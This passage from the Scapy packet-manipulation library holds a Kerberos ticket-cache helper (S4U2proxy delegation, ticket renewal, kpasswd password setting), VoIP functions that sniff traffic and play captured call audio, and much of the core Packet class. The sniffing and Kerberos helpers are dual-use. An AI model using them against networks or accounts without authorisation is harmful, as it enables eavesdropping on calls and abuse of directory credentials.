armor with if isinstance(s4u2proxy, int): additional_tickets.append(self.export_krb(s4u2proxy)[0]) s4u2proxy = True res = krb_tgs_req( upn, spn, sessionkey=sessionkey, ticket=ticket, ip=ip, renew=renew, realm=realm, s4u2proxy=s4u2proxy, additional_tickets=additional_tickets, fast=fast, for_user=for_user, armor_ticket=armor_ticket, armor_ticket_upn=armor_ticket_upn, armor_ticket_skey=armor_ticket_skey, **kwargs, ) if not res: return self.import_krb(res) def kpasswdset(self, i, targetupn=None, newpassword=None): """ Use kpasswd in 'Set Password' mode to set the password of an account. :param i: the TGT to use. """ ticket, sessionkey, upn, _ = self.export_krb(i) kpasswd( upn=upn, targetupn=targetupn, setpassword=True, ticket=ticket, key=sessionkey, newpassword=newpassword, ) def renew(self, i, ip=None, additional_tickets=[], **kwargs): """ Renew a Kerberos TGT or a TS from the local CCache using a TGS-REQ :param i: the ticket/sessionkey to renew. """ ticket, sessionkey, upn, spn = self.export_krb(i) res = krb_tgs_req( upn, spn, sessionkey=sessionkey, ticket=ticket, ip=ip, renew=True, additional_tickets=additional_tickets, **kwargs, ) if not res: return self.import_krb(res, _inplace=i) def enumerate_tickets(self): """ Enumerate through the tickets in the ccache """ for i, cred in enumerate(self.ccache.credentials): if cred.is_xcacheconf(): continue yield i, self.export_krb(i) def iter_tickets(self): """ Iterate through the tickets in the ccache """ for _, tkt in self.enumerate_tickets(): yield tkt ================================================ FILE: scapy/modules/voip.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ VoIP (Voice over IP) related functions """ import subprocess ################### # Listen VoIP # ################### from scapy.sendrecv import sniff from scapy.layers.inet import IP, UDP from scapy.layers.rtp import RTP from scapy.consts import WINDOWS from scapy.config import conf sox_base = (["sox", "-t", ".ul"], ["-", "-t", "ossdsp", "/dev/dsp"]) if WINDOWS: if conf.prog.sox is None: raise OSError("Sox must be installed to play VoIP packets") sox_base = ([conf.prog.sox, "-t", ".ul"], ["-", "-t", "waveaudio"]) def _merge_sound_bytes(x, y, sample_size=2): # TODO: find a better way to merge sound bytes # This will only add them one next to each other: # \xff + \xff ==> \xff\xff m = "" ss = sample_size min_ = 0 if len(x) >= len(y): min_ = y elif len(x) < len(y): min_ = x r_ = len(min_) for i in range(r_ / ss): m += x[ss * i:ss * (i + 1)] + y[ss * i:ss * (i + 1)] return x[r_:], y[r_:], m def voip_play(s1, lst=None, **kargs): """Play VoIP packets with RAW data that are either sniffed either from an IP, or specified as a list. It will play only the incoming packets ! :param s1: The IP of the src of all VoIP packets. :param lst: (optional) A list of packets to load :type s1: string :type lst: list :Example: >>> voip_play("64.2.142.189") while calling '411@ideasip.com' >>> voip_play("64.2.142.189", lst) with list a list of packets with VoIP data in their RAW layer .. seealso:: voip_play2 to play both the outcoming and incoming packets at the same time. .. seealso:: voip_play3 to read RTP VoIP packets """ proc = subprocess.Popen(sox_base[0] + sox_base[1], stdin=subprocess.PIPE, stdout=subprocess.PIPE) dsp, rd = proc.stdin, proc.stdout def play(pkt): if not pkt: return if not pkt.haslayer(UDP) or not pkt.haslayer(IP): return ip = pkt.getlayer(IP) if s1 == ip.src: dsp.write(pkt.getlayer(conf.raw_layer).load[12:]) try: if lst is None: sniff(store=0, prn=play, **kargs) else: for p in lst: play(p) finally: dsp.close() rd.close() def voip_play1(s1, lst=None, **kargs): """Same than voip_play, backward compatibility """ return voip_play(s1, lst, **kargs) def voip_play2(s1, **kargs): """ Same than voip_play, but will play both incoming and outcoming packets. The sound will surely suffer distortion. Only supports sniffing. .. seealso:: voip_play to play only incoming packets. """ proc = subprocess.Popen(sox_base[0] + ["-c", "2"] + sox_base[1], stdin=subprocess.PIPE, stdout=subprocess.PIPE) dsp, rd = proc.stdin, proc.stdout global x1, x2 x1 = "" x2 = "" def play(pkt): global x1, x2 if not pkt: return if not pkt.haslayer(UDP) or not pkt.haslayer(IP): return ip = pkt.getlayer(IP) if s1 in [ip.src, ip.dst]: if ip.dst == s1: x1 += pkt.getlayer(conf.raw_layer).load[12:] else: x2 += pkt.getlayer(conf.raw_layer).load[12:] x1, x2, r = _merge_sound_bytes(x1, x2) dsp.write(r) try: sniff(store=0, prn=play, **kargs) finally: try: dsp.close() rd.close() except Exception: pass def voip_play3(lst=None, **kargs): """Same than voip_play, but made to read and play VoIP RTP packets, without checking IP. .. seealso:: voip_play for basic VoIP packets """ proc = subprocess.Popen(sox_base[0] + sox_base[1], stdin=subprocess.PIPE, stdout=subprocess.PIPE) dsp, rd = proc.stdin, proc.stdout def play(pkt, dsp=dsp): if pkt and pkt.haslayer(UDP) and pkt.haslayer(RTP): dsp.write(pkt.getlayer(RTP).load) try: if lst is None: sniff(store=0, prn=play, **kargs) else: for p in lst: play(p) finally: try: dsp.close() rd.close() except Exception: pass ================================================ FILE: scapy/packet.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Packet class Provides: - the default Packet classes - binding mechanisms - fuzz() method - exploration methods: explore() / ls() """ from collections import defaultdict import json import re import time import itertools import copy import types import warnings from scapy.fields import ( AnyField, BitField, ConditionalField, Emph, EnumField, Field, FlagsField, FlagValue, MayEnd, MultiEnumField, MultipleTypeField, PadField, PacketListField, RawVal, StrField, ) from scapy.config import conf, _version_checker from scapy.compat import raw, orb, bytes_encode from scapy.base_classes import BasePacket, Gen, SetGen, Packet_metaclass, \ _CanvasDumpExtended from scapy.interfaces import _GlobInterfaceType from scapy.volatile import RandField, VolatileValue from scapy.utils import import_hexcap, tex_escape, colgen, issubtype, \ pretty_list, EDecimal from scapy.error import Scapy_Exception, log_runtime, warning from scapy.libs.test_pyx import PYX # Typing imports from typing import ( Any, Callable, Dict, Iterator, List, NoReturn, Optional, Set, Tuple, Type, TypeVar, Union, Sequence, cast, ) from scapy.compat import Self try: import pyx except ImportError: pass _T = TypeVar("_T", Dict[str, Any], Optional[Dict[str, Any]]) class Packet( BasePacket, _CanvasDumpExtended, metaclass=Packet_metaclass ): __slots__ = [ "time", "sent_time", "name", "default_fields", "fields", "fieldtype", "overload_fields", "overloaded_fields", "packetfields", "original", "explicit", "raw_packet_cache", "raw_packet_cache_fields", "_pkt", "post_transforms", "stop_dissection_after", # then payload, underlayer and parent "payload", "underlayer", "parent", "name", # used for sr() "_answered", # used when sniffing "direction", "sniffed_on", # handle snaplen Vs real length "wirelen", "comments", "process_information" ] name = None fields_desc = [] # type: List[AnyField] deprecated_fields = {} # type: Dict[str, Tuple[str, str]] overload_fields = {} # type: Dict[Type[Packet], Dict[str, Any]] payload_guess = [] # type: List[Tuple[Dict[str, Any], Type[Packet]]] show_indent = 1 show_summary = True match_subclass = False class_dont_cache = {} # type: Dict[Type[Packet], bool] class_packetfields = {} # type: Dict[Type[Packet], Any] class_default_fields = {} # type: Dict[Type[Packet], Dict[str, Any]] class_default_fields_ref = {} # type: Dict[Type[Packet], List[str]] class_fieldtype = {} # type: Dict[Type[Packet], Dict[str, AnyField]] # noqa: E501 @classmethod def from_hexcap(cls): # type: (Type[Packet]) -> Packet return cls(import_hexcap()) @classmethod def upper_bonds(self): # type: () -> None for fval, upper in self.payload_guess: print( "%-20s %s" % ( upper.__name__, ", ".join("%-12s" % ("%s=%r" % i) for i in fval.items()), ) ) @classmethod def lower_bonds(self): # type: () -> None for lower, fval in self._overload_fields.items(): print( "%-20s %s" % ( lower.__name__, ", ".join("%-12s" % ("%s=%r" % i) for i in fval.items()), ) ) def __init__(self, _pkt=b"", # type: Union[bytes, bytearray] post_transform=None, # type: Any _internal=0, # type: int _underlayer=None, # type: Optional[Packet] _parent=None, # type: Optional[Packet] stop_dissection_after=None, # type: Optional[Type[Packet]] **fields # type: Any ): # type: (...) -> None self.time = time.time() # type: Union[EDecimal, float] self.sent_time = None # type: Union[EDecimal, float, None] self.name = (self.__class__.__name__ if self._name is None else self._name) self.default_fields = {} # type: Dict[str, Any] self.overload_fields = self._overload_fields self.overloaded_fields = {} # type: Dict[str, Any] self.fields = {} # type: Dict[str, Any] self.fieldtype = {} # type: Dict[str, AnyField] self.packetfields = [] # type: List[AnyField] self.payload = NoPayload() # type: Packet self.init_fields(bool(_pkt)) self.underlayer = _underlayer self.parent = _parent if isinstance(_pkt, bytearray): _pkt = bytes(_pkt) self.original = _pkt self.explicit = 0 self.raw_packet_cache = None # type: Optional[bytes] self.raw_packet_cache_fields = None # type: Optional[Dict[str, Any]] # noqa: E501 self.wirelen = None # type: Optional[int] self.direction = None # type: Optional[int] self.sniffed_on = None # type: Optional[_GlobInterfaceType] self.comments = None # type: Optional[List[bytes]] self.process_information = None # type: Optional[Dict[str, Any]] self.stop_dissection_after = stop_dissection_after if _pkt: self.dissect(_pkt) if not _internal: self.dissection_done(self) # We use this strange initialization so that the fields # are initialized in their declaration order. # It is required to always support MultipleTypeField for field in self.fields_desc: fname = field.name try: value = fields.pop(fname) except KeyError: continue self.fields[fname] = value if isinstance(value, RawVal) else \ self.get_field(fname).any2i(self, value) # The remaining fields are unknown for fname in fields: if fname in self.deprecated_fields: # Resolve deprecated fields value = fields[fname] fname = self._resolve_alias(fname) self.fields[fname] = value if isinstance(value, RawVal) else \ self.get_field(fname).any2i(self, value) continue raise AttributeError(fname) if isinstance(post_transform, list): self.post_transforms = post_transform elif post_transform is None: self.post_transforms = [] else: self.post_transforms = [post_transform] _PickleType = Tuple[ Union[EDecimal, float], Optional[Union[EDecimal, float, None]], Optional[int], Optional[_GlobInterfaceType], Optional[int], Optional[bytes], ] @property def comment(self): # type: () -> Optional[bytes] """Get the comment of the packet""" if self.comments and len(self.comments): return self.comments[0] return None @comment.setter def comment(self, value): # type: (Optional[bytes]) -> None """ Set the comment of the packet. If value is None, it will clear the comments. """ if value is not None: self.comments = [value] else: self.comments = None def __reduce__(self): # type: () -> Tuple[Type[Packet], Tuple[bytes], Packet._PickleType] """Used by pickling methods""" return (self.__class__, (self.build(),), ( self.time, self.sent_time, self.direction, self.sniffed_on, self.wirelen, self.comment )) def __setstate__(self, state): # type: (Packet._PickleType) -> Packet """Rebuild state using pickable methods""" self.time = state[0] self.sent_time = state[1] self.direction = state[2] self.sniffed_on = state[3] self.wirelen = state[4] self.comment = state[5] return self def __deepcopy__(self, memo, # type: Any ): # type: (...) -> Packet """Used by copy.deepcopy""" return self.copy() def init_fields(self, for_dissect_only=False): # type: (bool) -> None """ Initialize each fields of the fields_desc dict """ if self.class_dont_cache.get(self.__class__, False): self.do_init_fields(self.fields_desc) else: self.do_init_cached_fields(for_dissect_only=for_dissect_only) def do_init_fields(self, flist, # type: Sequence[AnyField] ): # type: (...) -> None """ Initialize each fields of the fields_desc dict """ default_fields = {} for f in flist: default_fields[f.name] = copy.deepcopy(f.default) self.fieldtype[f.name] = f if f.holds_packets: self.packetfields.append(f) # We set default_fields last to avoid race issues self.default_fields = default_fields def do_init_cached_fields(self, for_dissect_only=False): # type: (bool) -> None """ Initialize each fields of the fields_desc dict, or use the cached fields information """ cls_name = self.__class__ # Build the fields information if Packet.class_default_fields.get(cls_name, None) is None: self.prepare_cached_fields(self.fields_desc) # Use fields information from cache default_fields = Packet.class_default_fields.get(cls_name, None) if default_fields: self.default_fields = default_fields self.fieldtype = Packet.class_fieldtype[cls_name] self.packetfields = Packet.class_packetfields[cls_name] # Optimization: no need for references when only dissecting. if for_dissect_only: return # Deepcopy default references for fname in Packet.class_default_fields_ref[cls_name]: value = self.default_fields[fname] try: self.fields[fname] = value.copy() except AttributeError: # Python 2.7 - list only self.fields[fname] = value[:] def prepare_cached_fields(self, flist): # type: (Sequence[AnyField]) -> None """ Prepare the cached fields of the fields_desc dict """ cls_name = self.__class__ # Fields cache initialization if not flist: return class_default_fields = dict() class_default_fields_ref = list() class_fieldtype = dict() class_packetfields = list() # Fields initialization for f in flist: if isinstance(f, MultipleTypeField): # Abort self.class_dont_cache[cls_name] = True self.do_init_fields(self.fields_desc) return class_default_fields[f.name] = copy.deepcopy(f.default) class_fieldtype[f.name] = f if f.holds_packets: class_packetfields.append(f) # Remember references if isinstance(f.default, (list, dict, set, RandField, Packet)): class_default_fields_ref.append(f.name) # Apply Packet.class_default_fields_ref[cls_name] = class_default_fields_ref Packet.class_fieldtype[cls_name] = class_fieldtype Packet.class_packetfields[cls_name] = class_packetfields # Last to avoid racing issues Packet.class_default_fields[cls_name] = class_default_fields def dissection_done(self, pkt): # type: (Packet) -> None """DEV: will be called after a dissection is completed""" self.post_dissection(pkt) self.payload.dissection_done(pkt) def post_dissection(self, pkt): # type: (Packet) -> None """DEV: is called after the dissection of the whole packet""" pass def get_field(self, fld): # type: (str) -> AnyField """DEV: returns the field instance from the name of the field""" return self.fieldtype[fld] def add_payload(self, payload): # type: (Union[Packet, bytes]) -> None if payload is None: return elif not isinstance(self.payload, NoPayload): self.payload.add_payload(payload) else: if isinstance(payload, Packet): self.payload = payload payload.add_underlayer(self) for t in self.aliastypes: if t in payload.overload_fields: self.overloaded_fields = payload.overload_fields[t] break elif isinstance(payload, (bytes, str, bytearray, memoryview)): self.payload = conf.raw_layer(load=bytes_encode(payload)) else: raise TypeError("payload must be 'Packet', 'bytes', 'str', 'bytearray', or 'memoryview', not [%s]" % repr(payload)) # noqa: E501 def remove_payload(self): # type: () -> None self.payload.remove_underlayer(self) self.payload = NoPayload() self.overloaded_fields = {} def add_underlayer(self, underlayer): # type: (Packet) -> None self.underlayer = underlayer def remove_underlayer(self, other): # type: (Packet) -> None self.underlayer = None def add_parent(self, parent): # type: (Packet) -> None """Set packet parent. When packet is an element in PacketListField, parent field would point to the list owner packet.""" self.parent = parent def remove_parent(self, other): # type: (Packet) -> None """Remove packet parent. When packet is an element in PacketListField, parent field would point to the list owner packet.""" self.parent = None def copy(self) -> Self: """Returns a deep copy of the instance.""" clone = self.__class__() clone.fields = self.copy_fields_dict(self.fields) clone.default_fields = self.copy_fields_dict(self.default_fields) clone.overloaded_fields = self.overloaded_fields.copy() clone.underlayer = self.underlayer clone.parent = self.parent clone.explicit = self.explicit clone.raw_packet_cache = self.raw_packet_cache clone.raw_packet_cache_fields = self.copy_fields_dict( self.raw_packet_cache_fields ) clone.wirelen = self.wirelen clone.post_transforms = self.post_transforms[:] clone.payload = self.payload.copy() clone.payload.add_underlayer(clone) clone.time = self.time clone.comments = self.comments clone.direction = self.direction clone.sniffed_on = self.sniffed_on return clone def _resolve_alias(self, attr): # type: (str) -> str new_attr, version = self.deprecated_fields[attr] warnings.warn( "%s has been deprecated in favor of %s since %s !" % ( attr, new_attr, version ), DeprecationWarning ) return new_attr def getfieldval(self, attr): # type: (str) -> Any if self.deprecated_fields and attr in self.deprecated_fields: attr = self._resolve_alias(attr) if attr in self.fields: return self.fields[attr] if attr in self.overloaded_fields: return self.overloaded_fields[attr] if attr in self.default_fields: return self.default_fields[attr] return self.payload.getfieldval(attr) def getfield_and_val(self, attr): # type: (str) -> Tuple[AnyField, Any] if self.deprecated_fields and attr in self.deprecated_fields: attr = self._resolve_alias(attr) if attr in self.fields: return self.get_field(attr), self.fields[attr] if attr in self.overloaded_fields: return self.get_field(attr), self.overloaded_fields[attr] if attr in self.default_fields: return self.get_field(attr), self.default_fields[attr] raise ValueError def __getattr__(self, attr): # type: (str) -> Any try: fld, v = self.getfield_and_val(attr) except ValueError: return self.payload.__getattr__(attr) if fld is not None: return v if isinstance(v, RawVal) else fld.i2h(self, v) return v def setfieldval(self, attr, val): # type: (str, Any) -> None if self.deprecated_fields and attr in self.deprecated_fields: attr = self._resolve_alias(attr) if attr in self.default_fields: fld = self.get_field(attr) if fld is None: any2i = lambda x, y: y # type: Callable[..., Any] else: any2i = fld.any2i self.fields[attr] = val if isinstance(val, RawVal) else \ any2i(self, val) self.explicit = 0 self.raw_packet_cache = None self.raw_packet_cache_fields = None self.wirelen = None elif attr == "payload": self.remove_payload() self.add_payload(val) else: self.payload.setfieldval(attr, val) def __setattr__(self, attr, val): # type: (str, Any) -> None if attr in self.__all_slots__: return object.__setattr__(self, attr, val) try: return self.setfieldval(attr, val) except AttributeError: pass return object.__setattr__(self, attr, val) def delfieldval(self, attr): # type: (str) -> None if attr in self.fields: del self.fields[attr] self.explicit = 0 # in case a default value must be explicit self.raw_packet_cache = None self.raw_packet_cache_fields = None self.wirelen = None elif attr in self.default_fields: pass elif attr == "payload": self.remove_payload() else: self.payload.delfieldval(attr) def __delattr__(self, attr): # type: (str) -> None if attr == "payload": return self.remove_payload() if attr in self.__all_slots__: return object.__delattr__(self, attr) try: return self.delfieldval(attr) except AttributeError: pass return object.__delattr__(self, attr) def _superdir(self): # type: () -> Set[str] """ Return a list of slots and methods, including those from subclasses. """ attrs = set() # type: Set[str] cls = self.__class__ if hasattr(cls, '__all_slots__'): attrs.update(cls.__all_slots__) for bcls in cls.__mro__: if hasattr(bcls, '__dict__'): attrs.update(bcls.__dict__) return attrs def __dir__(self): # type: () -> List[str] """ Add fields to tab completion list. """ return sorted(itertools.chain(self._superdir(), self.default_fields)) def __repr__(self): # type: () -> str s = "" ct = conf.color_theme for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if f.name in self.fields: fval = self.fields[f.name] if isinstance(fval, (list, dict, set)) and len(fval) == 0: continue val = f.i2repr(self, fval) elif f.name in self.overloaded_fields: fover = self.overloaded_fields[f.name] if isinstance(fover, (list, dict, set)) and len(fover) == 0: continue val = f.i2repr(self, fover) else: continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value s += " %s%s%s" % (ncol(f.name), ct.punct("="), vcol(val)) return "%s%s %s %s%s%s" % (ct.punct("<"), ct.layer_name(self.__class__.__name__), s, ct.punct("|"), repr(self.payload), ct.punct(">")) def __str__(self): # type: () -> str return self.summary() def __bytes__(self): # type: () -> bytes return self.build() def __div__(self, other): # type: (Any) -> Self if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif isinstance(other, (bytes, str, bytearray, memoryview)): return self / conf.raw_layer(load=bytes_encode(other)) else: return other.__rdiv__(self) # type: ignore __truediv__ = __div__ def __rdiv__(self, other): # type: (Any) -> Packet if isinstance(other, (bytes, str, bytearray, memoryview)): return conf.raw_layer(load=bytes_encode(other)) / self else: raise TypeError __rtruediv__ = __rdiv__ def __mul__(self, other): # type: (Any) -> List[Packet] if isinstance(other, int): return [self] * other else: raise TypeError def __rmul__(self, other): # type: (Any) -> List[Packet] return self.__mul__(other) def __nonzero__(self): # type: () -> bool return True __bool__ = __nonzero__ def __len__(self): # type: () -> int return len(self.__bytes__()) def copy_field_value(self, fieldname, value): # type: (str, Any) -> Any return self.get_field(fieldname).do_copy(value) def copy_fields_dict(self, fields): # type: (_T) -> _T if fields is None: return None return {fname: self.copy_field_value(fname, fval) for fname, fval in fields.items()} def _raw_packet_cache_field_value(self, fld, val, copy=False): # type: (AnyField, Any, bool) -> Optional[Any] """Get a value representative of a mutable field to detect changes""" _cpy = lambda x: fld.do_copy(x) if copy else x # type: Callable[[Any], Any] if fld.holds_packets: # avoid copying whole packets (perf: #GH3894) if fld.islist: return [ (_cpy(x.fields), x.payload.raw_packet_cache) for x in val ] else: return (_cpy(val.fields), val.payload.raw_packet_cache) elif fld.islist or fld.ismutable: return _cpy(val) return None def clear_cache(self): # type: () -> None """Clear the raw packet cache for the field and all its subfields""" self.raw_packet_cache = None for fname, fval in self.fields.items(): fld = self.get_field(fname) if fld.holds_packets: if isinstance(fval, Packet): fval.clear_cache() elif isinstance(fval, list): for fsubval in fval: fsubval.clear_cache() self.payload.clear_cache() def self_build(self): # type: () -> bytes """ Create the default layer regarding fields_desc dict """ if self.raw_packet_cache is not None and \ self.raw_packet_cache_fields is not None: for fname, fval in self.raw_packet_cache_fields.items(): fld, val = self.getfield_and_val(fname) if self._raw_packet_cache_field_value(fld, val) != fval: self.raw_packet_cache = None self.raw_packet_cache_fields = None self.wirelen = None break if self.raw_packet_cache is not None: return self.raw_packet_cache p = b"" for f in self.fields_desc: val = self.getfieldval(f.name) if isinstance(val, RawVal): p += bytes(val) else: try: p = f.addfield(self, p, val) except Exception as ex: try: ex.args = ( "While building field '%s': " % f.name + ex.args[0], ) + ex.args[1:] except (AttributeError, IndexError): pass raise ex return p def do_build_payload(self): # type: () -> bytes """ Create the default version of the payload layer :return: a string of payload layer """ return self.payload.do_build() def do_build(self): # type: () -> bytes """ Create the default version of the layer :return: a string of the packet with the payload """ if not self.explicit: self = next(iter(self)) pkt = self.self_build() for t in self.post_transforms: pkt = t(pkt) pay = self.do_build_payload() if self.raw_packet_cache is None: return self.post_build(pkt, pay) else: return pkt + pay def build_padding(self): # type: () -> bytes return self.payload.build_padding() def build(self): # type: () -> bytes """ Create the current layer :return: string of the packet with the payload """ p = self.do_build() p += self.build_padding() p = self.build_done(p) return p def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes """ DEV: called right after the current layer is build. :param str pkt: the current packet (build by self_build function) :param str pay: the packet payload (build by do_build_payload function) :return: a string of the packet with the payload """ return pkt + pay def build_done(self, p): # type: (bytes) -> bytes return self.payload.build_done(p) def do_build_ps(self): # type: () -> Tuple[bytes, List[Tuple[Packet, List[Tuple[Field[Any, Any], str, bytes]]]]] # noqa: E501 p = b"" pl = [] q = b"" for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue p = f.addfield(self, p, self.getfieldval(f.name)) if isinstance(p, bytes): r = p[len(q):] q = p else: r = b"" pl.append((f, f.i2repr(self, self.getfieldval(f.name)), r)) pkt, lst = self.payload.build_ps(internal=1) p += pkt lst.append((self, pl)) return p, lst def build_ps(self, internal=0): # type: (int) -> Tuple[bytes, List[Tuple[Packet, List[Tuple[Any, Any, bytes]]]]] # noqa: E501 p, lst = self.do_build_ps() # if not internal: # pkt = self # while pkt.haslayer(conf.padding_layer): # pkt = pkt.getlayer(conf.padding_layer) # lst.append( (pkt, [ ("loakjkjd", pkt.load, pkt.load) ] ) ) # p += pkt.load # pkt = pkt.payload return p, lst def canvas_dump(self, layer_shift=0, rebuild=1): # type: (int, int) -> pyx.canvas.canvas if PYX == 0: raise ImportError("PyX and its dependencies must be installed") canvas = pyx.canvas.canvas() if rebuild: _, t = self.__class__(raw(self)).build_ps() else: _, t = self.build_ps() YTXTI = len(t) for _, l in t: YTXTI += len(l) YTXT = float(YTXTI) YDUMP = YTXT XSTART = 1 XDSTART = 10 y = 0.0 yd = 0.0 XMUL = 0.55 YMUL = 0.4 backcolor = colgen(0.6, 0.8, 1.0, trans=pyx.color.rgb) forecolor = colgen(0.2, 0.5, 0.8, trans=pyx.color.rgb) # backcolor=makecol(0.376, 0.729, 0.525, 1.0) def hexstr(x): # type: (bytes) -> str return " ".join("%02x" % orb(c) for c in x) def make_dump_txt(x, y, txt): # type: (int, float, bytes) -> pyx.text.text return pyx.text.text( XDSTART + x * XMUL, (YDUMP - y) * YMUL, r"\tt{%s}" % hexstr(txt), [pyx.text.size.Large] ) def make_box(o): # type: (pyx.bbox.bbox) -> pyx.bbox.bbox return pyx.box.rect( o.left(), o.bottom(), o.width(), o.height(), relcenter=(0.5, 0.5) ) def make_frame(lst): # type: (List[Any]) -> pyx.path.path if len(lst) == 1: b = lst[0].bbox() b.enlarge(pyx.unit.u_pt) return b.path() else: fb = lst[0].bbox() fb.enlarge(pyx.unit.u_pt) lb = lst[-1].bbox() lb.enlarge(pyx.unit.u_pt) if len(lst) == 2 and fb.left() > lb.right(): return pyx.path.path(pyx.path.moveto(fb.right(), fb.top()), pyx.path.lineto(fb.left(), fb.top()), pyx.path.lineto(fb.left(), fb.bottom()), # noqa: E501 pyx.path.lineto(fb.right(), fb.bottom()), # noqa: E501 pyx.path.moveto(lb.left(), lb.top()), pyx.path.lineto(lb.right(), lb.top()), pyx.path.lineto(lb.right(), lb.bottom()), # noqa: E501 pyx.path.lineto(lb.left(), lb.bottom())) # noqa: E501 else: # XXX gb = lst[1].bbox() if gb != lb: gb.enlarge(pyx.unit.u_pt) kb = lst[-2].bbox() if kb != gb and kb != lb: kb.enlarge(pyx.unit.u_pt) return pyx.path.path(pyx.path.moveto(fb.left(), fb.top()), pyx.path.lineto(fb.right(), fb.top()), pyx.path.lineto(fb.right(), kb.bottom()), # noqa: E501 pyx.path.lineto(lb.right(), kb.bottom()), # noqa: E501 pyx.path.lineto(lb.right(), lb.bottom()), # noqa: E501 pyx.path.lineto(lb.left(), lb.bottom()), # noqa: E501 pyx.path.lineto(lb.left(), gb.top()), pyx.path.lineto(fb.left(), gb.top()), pyx.path.closepath(),) def make_dump(s, # type: bytes shift=0, # type: int y=0., # type: float col=None, # type: pyx.color.color bkcol=None, # type: pyx.color.color large=16 # type: int ): # type: (...) -> Tuple[pyx.canvas.canvas, pyx.bbox.bbox, int, float] # noqa: E501 c = pyx.canvas.canvas() tlist = [] while s: dmp, s = s[:large - shift], s[large - shift:] txt = make_dump_txt(shift, y, dmp) tlist.append(txt) shift += len(dmp) if shift >= 16: shift = 0 y += 1 if col is None: col = pyx.color.rgb.red if bkcol is None: bkcol = pyx.color.rgb.white c.stroke(make_frame(tlist), [col, pyx.deco.filled([bkcol]), pyx.style.linewidth.Thick]) # noqa: E501 for txt in tlist: c.insert(txt) return c, tlist[-1].bbox(), shift, y last_shift, last_y = 0, 0.0 while t: bkcol = next(backcolor) proto, fields = t.pop() y += 0.5 pt = pyx.text.text( XSTART, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape( str(proto.name) ), [pyx.text.size.Large] ) y += 1 ptbb = pt.bbox() ptbb.enlarge(pyx.unit.u_pt * 2) canvas.stroke(ptbb.path(), [pyx.color.rgb.black, pyx.deco.filled([bkcol])]) # noqa: E501 canvas.insert(pt) for field, fval, fdump in fields: col = next(forecolor) ft = pyx.text.text(XSTART, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(field.name)) # noqa: E501 if isinstance(field, BitField): fsize = '%sb' % field.size else: fsize = '%sB' % len(fdump) if (hasattr(field, 'field') and 'LE' in field.field.__class__.__name__[:3] or 'LE' in field.__class__.__name__[:3]): fsize = r'$\scriptstyle\langle$' + fsize st = pyx.text.text(XSTART + 3.4, (YTXT - y) * YMUL, r"\font\cmbxfont=cmssbx10 scaled 600\cmbxfont{%s}" % fsize, [pyx.text.halign.boxright]) # noqa: E501 if isinstance(fval, str): if len(fval) > 18: fval = fval[:18] + "[...]" else: fval = "" vt = pyx.text.text(XSTART + 3.5, (YTXT - y) * YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fval)) # noqa: E501 y += 1.0 if fdump: dt, target, last_shift, last_y = make_dump(fdump, last_shift, last_y, col, bkcol) # noqa: E501 dtb = target vtb = vt.bbox() bxvt = make_box(vtb) bxdt = make_box(dtb) dtb.enlarge(pyx.unit.u_pt) try: if yd < 0: cnx = pyx.connector.curve(bxvt, bxdt, absangle1=0, absangle2=-90) # noqa: E501 else: cnx = pyx.connector.curve(bxvt, bxdt, absangle1=0, absangle2=90) # noqa: E501 except Exception: pass else: canvas.stroke(cnx, [pyx.style.linewidth.thin, pyx.deco.earrow.small, col]) # noqa: E501 canvas.insert(dt) canvas.insert(ft) canvas.insert(st) canvas.insert(vt) last_y += layer_shift return canvas def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, Optional[bytes]] """ DEV: to be overloaded to extract current layer's padding. :param str s: the current layer :return: a couple of strings (actual layer, padding) """ return s, None def post_dissect(self, s): # type: (bytes) -> bytes """DEV: is called right after the current layer has been dissected""" return s def pre_dissect(self, s): # type: (bytes) -> bytes """DEV: is called right before the current layer is dissected""" return s def do_dissect(self, s): # type: (bytes) -> bytes _raw = s self.raw_packet_cache_fields = {} for f in self.fields_desc: s, fval = f.getfield(self, s) # Skip unused ConditionalField if isinstance(f, ConditionalField) and fval is None: continue # We need to track fields with mutable values to discard # .raw_packet_cache when needed. if (f.islist or f.holds_packets or f.ismutable) and fval is not None: self.raw_packet_cache_fields[f.name] = \ self._raw_packet_cache_field_value(f, fval, copy=True) self.fields[f.name] = fval # Nothing left to dissect if not s and (isinstance(f, MayEnd) or (fval is not None and isinstance(f, ConditionalField) and isinstance(f.fld, MayEnd))): break self.raw_packet_cache = _raw[:-len(s)] if s else _raw self.explicit = 1 return s def do_dissect_payload(self, s): # type: (bytes) -> None """ Perform the dissection of the layer's payload :param str s: the raw layer """ if s: if ( self.stop_dissection_after and isinstance(self, self.stop_dissection_after) ): # stop dissection here p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) return cls = self.guess_payload_class(s) try: p = cls( s, stop_dissection_after=self.stop_dissection_after, _internal=1, _underlayer=self, ) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: if issubtype(cls, Packet): log_runtime.error("%s dissector failed", cls.__name__) else: log_runtime.error("%s.guess_payload_class() returned " "[%s]", self.__class__.__name__, repr(cls)) if cls is not None: raise p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) def dissect(self, s): # type: (bytes) -> None s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl, pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(conf.padding_layer(pad)) def guess_payload_class(self, payload): # type: (bytes) -> Type[Packet] """ DEV: Guesses the next payload class from layer bonds. Can be overloaded to use a different mechanism. :param str payload: the layer's payload :return: the payload class """ for t in self.aliastypes: for fval, cls in t.payload_guess: try: if all(v == self.getfieldval(k) for k, v in fval.items()): return cls # type: ignore except AttributeError: pass return self.default_payload_class(payload) def default_payload_class(self, payload): # type: (bytes) -> Type[Packet] """ 